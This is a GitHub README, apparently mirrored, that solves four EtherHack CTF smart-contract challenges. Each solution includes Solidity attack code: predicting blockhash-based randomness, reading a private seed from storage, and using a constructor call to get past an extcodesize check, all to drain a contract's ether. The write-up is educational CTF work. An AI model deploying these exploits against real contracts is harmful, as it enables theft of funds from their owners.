Giter VIP home page Giter VIP logo

etherhack's Introduction

EtherHack CTF Solutions


EtherHack CTF solutions ⛳️

NOTE: All challenges' smart contracts code are upgraded to v0.8.20. This does not affect at all the challenges behavior

Useful commands for all challenges

forge compile: Compile smart contracts
forge test: Run tests for challenges solution
forge test -vvv: Run tests for challenges with tracers enabled (recommended for all challenges, to output the logs of the states before and after the exploit)

Challenges

  1. Azino 777
  2. Private Ryan
  3. Weel Of Fortune
  4. Call me Maybe

01 - Azino777

To solve this challenge, we need to guess the correct input bet that should match a generated random value in order to take all the contract's balance:

function spin(uint256 bet) public payable {
    require(msg.value >= 0.01 ether);
    uint256 num = rand(100);
    if(num == bet) {
        msg.sender.transfer(this.balance);
    }
}

This challenge shows the hardness of generating a secure random number in smart contracts. Someone checking the rand function implementation may think it generates a random number while it does not

//Generate random number between 0 & max
  uint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;
  function rand(uint max) constant private returns (uint256 result){
    uint256 factor = FACTOR * 100 / max;
    uint256 lastBlockNumber = block.number - 1;
    uint256 hashVal = uint256(block.blockhash(lastBlockNumber));

    return uint256((uint256(hashVal) / factor)) % max;
}

Statistically saying, we have a chance of 1% to guess the correct number on each try.
After inspecting the function logic, we notice that all the factors contributing to generating the random number are constants and pre-deterministic except for hashVal (which is the blockhash of the last block casted to uint256). So, if we get to know the value of the hashVal before the calculation starts, we could easily predict the random number by simply doing the same calculation in advance.
For us to predict the true number, we can simply perform in one transaction the calculation of the random number using the same rand logic on our own and then, invoking the function spin passing the value we got by our calculation. And because both operations are in the same transaction, the hashVal will be the same for both calculations!! Hence, increasing the chances to get the correct number to 100%!!
Attack contract:

contract AzzinoHack {
    Azino777 public target;
    constructor(address payable _target) {
        target = Azino777(_target);
    }
    uint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;
    function attack() payable external {
        // max is always passed as 100
        uint256 factor = FACTOR * 100 / 100;
        uint256 lastBlockNumber = block.number - 1;
        uint256 hashVal = uint256(blockhash(lastBlockNumber));

        uint bet =  uint256((uint256(hashVal) / factor)) % 100;
        target.spin{value: address(this).balance}(bet);
    }

    receive() external payable {}
}

Attack contract | Tests

02 - Private Ryan

This challenge follows the same logic as the previous one (so, we should follow the same exploit ;)). However, one factor is added to the calculation of the random number:

uint256 blockNumber = block.number - seed;

If we check the Private Ryan contract, we will notice that seed is a private variable, initially initialized in the constructor:

uint private seed = 1;

  constructor() {
    seed = rand(256);
  }

For us to determine the random number, we should get first the value of the private variable seed.
This challenge shows the importance of understanding the meaning of variable visibility modifier. Variable visibility is set to private does not mean that no one can read the value of it, it means that other contracts can not access it. Anyone outside the blockchain can easily determine which slot the variable's value leave in, and then query the contract's storage layout to get the slot value.

If you don't know the storage layout and accessing private data, I suggest reading my previous notes about it

It's obvious that the seed variable is taking the slot 0, so just before calculating the random number, we query the slot 0 to get the seed's value. E.g. using the Foundry framework

bytes32 seed = vm.load(address(privateRyan), bytes32(uint256(0)));
hack.attack(uint256(seed));

Hack contract | Tests

IMPORTANT NOTE: when attempting to run the test, it may fail due to arithmetic underflow. That is because block.number - seed will generate a negative number because block.number initially is 1 when running the test, and the seed value is surely greater. Run the tests by setting the block number greater than 256. E.g: forge test --match-path test/PrivateRyan.t.sol --block-number 500 -vvv

03 - Wheel of Fortune

From a first look, this challenge looks like somehow we need to predict the hash of a future block:

if (gameId > 0) {
    uint lastGameId = gameId - 1;
    uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);
    if(num == games[lastGameId].bet) {
        games[lastGameId].player.transfer(this.balance);
    }
}

We can see that with each player comes, he checks if the last player's bet is correct and if so, the last player will be rewarded... from here comes the challenge's hint This lottery uses blockhash of a future block, try to beat it!.
However, the check we just spoke about is badly designed, and we can abuse it as follows: we know that the blockhash of the current block is always 0 (the block that contains our TX is not yet generated), so we can send two transactions in a row, and guess what... similar to the last challenge's idea, they will be mined in the same block. The first transaction is to set our bet, and the second is to validate our bet.

function attack() external payable {
    require(msg.value >= 0.02 ether, "Not enough ether to perform attack");
    uint bet = uint256(keccak256(abi.encodePacked(blockhash(block.number)))) % 100;
    target.spin{value: 0.01 ether}(bet);
    target.spin{value: 0.01 ether}(bet);
}

Another approach to solve the challenge is by waiting for 256 blocks after our bet transaction, that is because according to Solidity documentation: blockhash(uint blockNumber) returns (bytes32): hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero. However, this approach is harder to follow, and it requires designing a bot to keep watching the network, we will stick with the first approach (the smartest :V).
Attack contract | Tests

04 - Call Me Maybe

The solution of this challenge won't take more than 2 lines if we know a tricky thing (as always, smart contract vulnerabilities are all tricky). By inspecing the contract's code, it seems that no one can call it:

    modifier callMeMaybe() {
        uint32 size;
        address _addr = msg.sender;
        assembly {
            size := extcodesize(_addr)
        }
        if (size > 0) {
            revert();
        }
        _;
    }

    function HereIsMyNumber() external callMeMaybe {
        if (tx.origin == msg.sender) {
            revert();
        } else {
            payable(msg.sender).transfer(address(this).balance);
        }
    }

If we invoke the HereIsmyNumber function from an EOA, the check tx.origin == msg.sender will pass, so the transaction will revert while if we invoke it from a smart contract, the modifier callmeMabye will fail as well, so our transaction will revert in all cases.
It seems that no smart contract can call this contract due to the EVM check using extcodesize. extcodesize returns the bytecode size of the _addr account. However, there is a bypass for that. At the moment when a newly deployed contract calls another contract in its constructor, the storage root is not yet initialized, it acts as a wallet only. Hence, it does not have associated code and extcodesize would yield zero.

constructor(address payable _target) {
    CallMeMaybe(_target).HereIsMyNumber();
}

I told you we can solve it in two lines ;) Attack Contract | Tests

etherhack's People

Contributors

brivan-26 avatar

Stargazers

 avatar  avatar ZKillua avatar  avatar solipidy avatar Ayyoub Kasmi avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.